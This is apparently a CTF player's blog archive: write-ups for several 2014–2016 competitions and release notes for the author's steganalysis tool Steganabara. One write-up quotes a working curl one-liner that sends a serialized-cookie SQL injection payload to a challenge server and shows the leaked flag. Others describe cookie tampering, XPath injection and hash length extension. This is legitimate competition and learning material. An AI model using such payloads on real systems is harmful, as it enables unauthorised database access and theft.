Showing posts with label steganabara. Show all posts
Showing posts with label steganabara. Show all posts

Friday, July 2, 2021

Little red riding Tux

Once upon a time, in a land not too far away, and not as distant as you might think in time, as well, there was a little penguin 🐧. And, that penguin went to /etc/secret in Deutschland wearing his little red riding hood, there he met the bad black horned creature and his (maybe bad) friends.

Bad black horned creature and his friends told the little penguin that they were actually good, M$ was the evil one.

(Maybe) good black horned creature and his friends taught little penguin to treasure what he had, especially his smileys.

Good black horned creature and his friends helped little penguin realize that XOR is reversible, and RSA is not the solution to all problems.

Little penguin made a lot of friends, one of them was very talented at hiding stuff inside other stuff, which people call the art of steganography. Little penguin had fun solving those steganography challs, his observation and analysis skills greatly improved. He even created a tool which helps with steganalysis.

Many years have passed, little penguin had grown up to become big penguin. Although busy catching fish and taking care of his kids, big penguin still spent some of his free time catching the flags to relive the great moments of the good old days.

One day big penguin found a strange bottle drifting from the land of the Blue Hens to his island. Actually, many other penguins saw that bottle and tried to read its contents, but all they found was gibberish.

To the big penguin, however, the bottle was like a message from the good old days. He easily figured out the important part and recovered the hidden message.



Monday, December 26, 2016

3DS CTF 2016

3DS CTF was an interesting CTF, which unlike normal CTFs, went on for a whole week. I had plenty of time to enjoy the challenges. Below are write-ups for some of them.

Stego 100: Excaliflag

The file is a png image with nothing hidden in the binary data. Quick analysis with Steganabara shows that there's not much distortion with the RGB values, this means the flag is either hidden in the LSB values, or an advanced method is used. For only 100 points, of course the former is true.

Playing with the blue bits in Steganabara's Bit Mask Filter and you'll get the flag:

Stego 300: 0liver "Imaged"

By looking at the magic bytes in the binary data, it's easy to see that there is a png image appended at the end of the jpg image. Looking at the png image, it's clear that the flag is hidden in the R and G values of the first few lines. Extract the R and G values and you'll get an ELF file that prints out the flag.

Stego 300: We also have memes!


The flag is hidden in the image using an algorithm in which p and offset are unknown. However, they are small enough to be brute-forced. The flag format is 3DS{}, so this is more like a known plain-text attack with the image as the ciphertext.

(to be continued)

Update: not continued because it's been a long time and I don't remember the continuation. Also, I'm busy (and lazy :P)

Tuesday, May 13, 2014

ASIS CTF Quals 2014

A great CTF with a lot of interesting steganos has ended. Too bad the event took place on workdays, so our team didn't have much time for it (probably many other teams shared the same problem). We ended up at #10, which wasn't too bad :P Below you can find write-ups for a few challs I solved.


Trivia 50: Image

The file was actually an amazing image of the once popular NES game Battle City, and as a fan of Nintendo I had the emulator ready to play it :P Just complete the first stage and you'll get the flag: 8BIT_RULEZ (although it is a bit different from what is written and caused a lot of confusions for everyone :P)



Web 75: Hidden flag

A web challenge with barely any description, however the title suggests that the flag should be hidden somewhere. It didn't take us much time to notice the HTTP header named x-flag with the value ASIS_b6b?244608c2?c2e869cb56?67b64?b1. Now obviously the task was to find the full hash. My first thought was using a dictionary attack to find a string that generates a hash with the same pattern, but because of work I didn't really have any time to try it :P

At one point, some members in our team noticed that when a wrong solution was submitted, the response was almost instant. This suggested that there should be a javascript check somewhere. From here it didn't take much time for us to find the sha256 hash and recover the full flag: ASIS_b6be244608c27c2e869cb56167b649b1

Stego 100: Spy Paper

The image was quite big and it was quite easy for me to overlook every detail :P Fortunately redoc found anomalies in the blue channels and these dots reminded me of punched tape, which was very close to the final solution. We were able to quickly figure out the parity bits and decrypt the second part, however we could not find anything meaningful from the first part:


After a lot of time spending on it, we came to realize that this could be printer steganography, and the first part could be date and time. With that we were able to fully decrypt the flag: 9/6/19 13:22:44 E4sy_0n3.

Crypto 150: Random Image

This isn't a hard chall, the code seems to randomly create a new image based on the flag but in fact there is quite a big correlation between the "random" result and the original one. Specifically, if the value of the pixel is less than 250, the resulting pixel is the result of some operation on the coordinates xored with a random value which is the same for all pixels. We do not know the random value however we know the result of the operation on the coordinates and by xoring the encrypted image with this value all pixels with values less than 250 should stand out. Here is the final result of the decryption:


Stego 175: White noise

This is an easy prey for my powerful Steganabara, and that was the reason why our team quickly became the first solver. A quick histogram analysis shows that the values in the green and blue channels are evenly distributed, and the reason behind this is that they were made to be used as coordinates to rearrange the pixels.


However, the red channel only has 1 value: 128, so it is pointless if you rearrange the whole image, you'll get just a red square. This got me stumped for a little while, until I realized that the order of arrangement could be important too. With this I only used the first 30 lines of the image for rearrangement, and got the flag:


Wednesday, April 30, 2014

0x3004 CTF

Another great CTF just ended and we were the champion! 0x3004 CTF was a 5-day event to celebrate the Liberation Day 30/04/1975 that ended all the miseries and brought about happiness to everyone. It was a pleasure having solved so many challenges of such great qualities thanks to the administrators.


Below you can find a quick write-up of some challs. Because there are so many of them, I'm only writing out the key points, the rest is up to you :P

Crypto 50: Phú Yên :: No Encryption Here


The cipher text:
TSwnQFMsI2BUPlchTDk2JVM5NV1TPTYpTTo3MT89JkFJPFVdUzoiJVQ3ViVOOSVdRzk3MT8+Nl1V PEVdUic5Nz1BPEYxUz8wYGA=

The = signature at the end makes it fairly easy to identify it as base64 encoded. The decoded text is M,'@S,#`T>W!L96%S95]S=6)M:71?...

This text is still encrypted and because it consists of only printable characters it can be guessed that encryption method is uuencode. It can be decrypted using this online decryption tool but you have to break it into 2 parts to fully decrypt the flag: 0x3004{please_submit_this_sh!t_and_get_your_rewards}

Crypto 50: Quảng Nam :: Chuyển vận lương thực

The encryption is done in the cookie. Trying with different inputs should bring you to a conclusion that the username and the timestamp are combined, xored with a binary key and then base64 encoded.
The string encrypted in the cookie is something like "username=admin;time=2014-04-27T16:27:24.644158", to solve the challenge you have to append ";admin=true" to it and get the flag: 0x3004{you_control_the_world}

Web 50: Yên Bái :: Injection1

Someone else in our team solved it, basically the session is managed by the serialized data in the cookie and you can exploit the deserialization to do SQL injection and get the flag.

Misc 50: Bạc Liêu :: Hidden1

The flag is hidden somewhere in the source code of the challenge page: 0x3004{_haha_you_found_it_:D}

Misc 50: Đà Nẵng :: Áo Dài

This is a BMP stegano. Analysis with my Steganabara's Bit Mask Filter (or Caesum's Stegsolve) will reveal that there is data hidden in the LSB of the pixels:


In fact the authors herd you like BMP so they put a BMP in your BMP so you can extract while you extract :P xp45g did this with a "murderous unreadable 1-liner", and here's the final result:

Misc 50: Vĩnh Long :: HeartBeat

This is similar to the famous HeartBleed bug in OpenSSL. It is even easier because you can input the length directly into the URL. If you input a bigger length than the actual string the rest of the memory will be printed out. We used a length of -1 to dump out everything and after some tries we were able to get the flag: 0x3004{He4rtBle3d_works_this_way}

Misc 50: Lâm Đồng :: Hidden2

The flag is again hidden in the source code of the home page: 0x3004{hidden2_hidden_everywhere}

Web 100: Hải Dương :: CRYPOT

The encryption can be broken using differential attack. In each loop the ciphertext is xored with a hash created from a character in the input and a character in the flag so you can use 2 inputs with the same length as the flag (31) but with different characters at the end, xor the results (which is also the xored result of 2 hashes in the last loop) and from there work out the last character in the flag. Continuing backwards and you can recover the flag: 0x3004{p_to_the_h_to_the_p_yo!}

Web 100: Tuyên Quang :: Injection2

You can still exploit the deserialization to inject SQL code. Below was how xp45g solved it :P

10:54:36: $ phpsessid="$(tr -cd a-zA-Z0-9 < /dev/urandom | head -c 32)" ; curl -s http://challenges.wargame.vn/100-Injection2_00cda8c5d1f13e0e2cb2825c0e9e6618/ -H "Cookie: PHPSESSID=$phpsessid;login=$(./ser.php "wtf',''),(null,(select flag from web100_flag), '$phpsessid') #")" | html2text
10:54:38: Welcome you back. This time, we made it more secure!
10:54:40: Your action has been logged to our DB.
10:54:42: You are logged in as guest.
10:54:44: Your action has been logged to our DB.
10:54:46: Your last logged in time: 0x3004{php_0bj3ct_m4k35_1t_3a5y}.
10:54:48: win \o/

Web 100: Quảng Ninh :: PATH TO PRO

This was quite an annoying chall. At first we found the blind SQL injection with double quotes and substring function and used it to get the admin password YOUWONTBEABLETOGUESSTHISPASS__@#!@(#*!@(#*!@(#*)(!@*# but that wasn't enough to get the flag.

We were having troubles identifying the DBMS because of so many abnormalities and in the end it turned out the challenge was about XPATH injection, something similar to SQL injection in theory but not as popular in practice. The flag was 0x3004{XXXpath}

RE 100: Nghệ An :: PHPVLD

Our team had some troubles with this chall because of misinterpreting the code but it was basically just hash collision. Just generate 2 strings with the same MD5 hashes and the chall is solved.

Crypto 100: Bình Định :: SERICRYPT

The method to solve this chall is similar to the one described in the RSA page: you factorize n, calculate phi(n), then calculate modulus multiplication inverse and decrypt the message. The result is: 6396138900968155672706619512005662088160241943837385041483898733707420105484519573719621312884.

Misc 100: Gia Lai :: Wireshark

This was an easy chall. At first glance we thought the traffic was encrypted using SSL but in the end the flag was transferred in just plain text and you can see it by searching for 0x3004 in a text editor: 0x3004{I_l0v3_wir35h4rk_S0_MUCH!}

Misc 100: Trà Vinh :: f_x

Our analysis was like this: f(12)/f(11) ~= 2.8, f(11)/f(10) ~= 3.1, (12/11)^12 = 2.84094437661548, (11/10)^12 = 3.138428376721 so the function should be a polynomial with the degree of 12. With this the problem becomes solving a system of 13 equations and even though I only had to modify my old program a little I was still a lot slower than xp45g's z3. The flag was 0x3004{M4thz1g}

Crypto 150: Thừa Thiên Huế :: Tàng hình

This is basically a stegano, the flag was hidden insite the KingthingsTrypewriter2 font file. Opening it using a font editor like ttfedit and you'll get the flag: 0x3004{H4Ppy_huNt1Ng} - it was changed later but someone else in our team solved it and I'm too lazy to solve it again :P

Web 150: Lạng Sơn :: XYZ Bank

If you use the default login suggested by the page you'll get a cookie that decrypts to something like ["guest","guest",1234]. Using a python mysql bug you can use ["guest",0,1234] and the session is still valid. Changing the username to admin and brute-forcing the pin you can get the flag: 0x3004{goooo_home_homie}

Crypto 200: An Giang :: Super RSA

Your job is to break an RSA encryption knowing just the public key. However with the source code available you can see that there is a weakness in the encryption: the private key is small (only 1024 bits) while the public key is big (6144 bits). Now the encryption can be broken using Wiener's attack.

Crypto 250: Lai Châu :: CRYPTOWWW

In this chall you need to bypass the hash check to do SQL injection. This can be done using hash length extension attack. At first we were getting no result because of assuming the secret length of 6 but in the end we wrote a program to brute-force the length (which turned out to be more than 20) and got the flag: 0x3004{www_mix_crypto_ftw}

Bonus: Pwn 300: Hà Nội :: Vượt Ngục 2

The nerd term for this type of challenge is "golfing". Below is the result of our python experts' teamwork. Don't ask me for the code explaination :P In fact after the CTF ended they managed to golf it down even more :P


For more information and solutions for other challs, you can visit stypr's write-up page :P

Monday, December 22, 2008

Steganabara 1.1.1 - finally!

Hey guys,

I have been making some minor improvements to Steganabara during the years, but due to my laziness a new version has not been released until now. But today, an email from r0d pulled me out of the shadow and Steganabara version 1.1.1 is now ready! No new feature yet, but I am glad to announce that the drag 'n drop feature has been supported for KDE 4.

As always, you can download this new version from my homepage. And of course, you should send me ideas for new features to make Steganabara the best steganalysis tool in the challenger world ;)

Wednesday, August 20, 2008

Steganabara on Ohloh

I came over Ohloh today while looking at the subversion website for the new update. It looks like a pretty cool social network for open source developers and lovers.

At Ohloh you can promote your software projects and vote on projects you like. So I went on ahead and created a project page for Steganabara: http://www.ohloh.net/projects/steganabara.

If you enjoy this great steganalysis tool you should create an account there, add Steganabara to your stack, write reviews, and vote for it :)

There hasn't been any major update to Steganabara for quite a while. So if you have any idea for improvement, feel free to contact me.

Wednesday, November 14, 2007

Steganabara project page

Hey guys,

Finally I defeated my laziness and created a project page for Steganabara. It is located here.

There you can find a brief view of the key features, watch and download the latest versions.

Time to finish those evil bara's challenges now. And if you have any idea for improving the tool, feel free to contact me :)

Monday, October 29, 2007

Steganabara new release - 1.1.0

Hey guys,

Finally Steganabara has been improved - 1.1.0 now :)

The zoom feature has been added, finally!
The BitMask filter now has an amplify option, which will make the result easier to view for human eyes.
The color table now displays the hex values instead of the meaningless integer ones.
The color explorer now also displays the coordinates and the hex values.
And all the features are now compatible with all image panels.

You can get the binaries together with source code here: http://www.freewebs.com/quangntenemy/steganabara/Steganabara-1.1.0.tar.gz.
As I am a bit lazy atm the ready to run jar file will be updated later.

Also stay tuned for the detailed documentations.

Friday, September 28, 2007

Website update :)

Hey guys, have a look at my homepage! It has been updated once again :)

You might want to claim that it's not as colorful as the old version, but believe me it's better :P I have put a lot of thoughts into that. The site looks very elegant now and has better support for accessibility. It's also optimized for every browser and small screen devices. And it's gradually adopting CSS3, which will be the open standard soon.

In the next few days (or weeks, or even months :P), you'll see more updates. Elimination of broken links, new updates for the CryptoBox, Steganabara, the bbq project, and hopefully a cool applet tutorial :)

Stay tuned!

Thursday, June 7, 2007

Challenge solved!! New Steganabara version soon :D

Finally solved Stegano 36: "You are granted a license!" [made by BaRa]. A crazy chall!
Anyway, it inspired me to continue working on Steganabara, once again :P
Well the next version will be a bugfix, which makes it fully functioning under Windows :P
There's no planned new features yet, but maybe the CryptoBox will be improved too

Tuesday, April 17, 2007

More updates :)

Hey guys,
Some new updates from my projects :)

Firstly, the website has been completely updated to comply with XHTML 1.0 Strict :) And it's now 100% table-less (if you click on the validation icon it'll say it's no 100% - stupid freewebs ads, I'll do something to have it changed)

Secondly, Steganabara 1.0.8.2 has been released. Well, not a public release btw :P Other than me, theAnswer has the only copy :P Just a minor bug fix for the drag & drop feature support for Windows. If you are using another desktop environment other than KDE/Windows, and for some weird reason the feature isn't working, feel free to drop me a mail :)

Thirdly, and our featured update today :) An update from the bbq project. There's no update to the bbq rpg and atm the Lamb-shadowrun is taking advantages. But a new bbq game is now catching the attentions :) Yes, it's the arcade game hangman that has been revived in an irc context :) There has been many attempts from theAnswer to cheat on the game, but on-time updates have been release to stop them all :) Come get hung at #tbs-botzone now!

Sunday, April 8, 2007

Steganabara 1.0.8

Hey guys,
Steganabara 1.0.8 is out :)
It now provides full drag & drop support, with a brand new feature: color explorer (idea shamelessly taken from Phas :P)

Next major release will be 1.1. If you have any cool idea that should be implemented, start contributing now :)

Oh and in the meantime I'm upgrading my website to using table-less layout - Yay for the new W3C standard :) Once it is done then maybe we'll be migrating to a new webhost - searix for better performance :)

That's it for now! Stay tuned for the next chapter :)

Friday, April 6, 2007

Steganabara official release - 1.0.6

Hey guys,

The Steganabara project first official release - 1.0.6.
Almost all features mentioned in the last post have been implemented.
Drag and drop support will be added soon.

Download the new release now and play with various new features of the color map/table at http://www.freewebs.com/quangntenemy/steganabara/Steganabara.jar

Wednesday, April 4, 2007

Steganabara - official release

Hey guys,

I'm working on the Steganabara project again :)

There will be an official release this month, featuring:
- Drag & drop support (yay XD)
- Color chooser (no need to type the hex color anymore)
- Visual bit mask selector (no need for that long 0s and 1s sequence :P)
- Quick color map chooser (yes, you can view the color map for every color from the color table now)

Stay tuned for the next chapter :D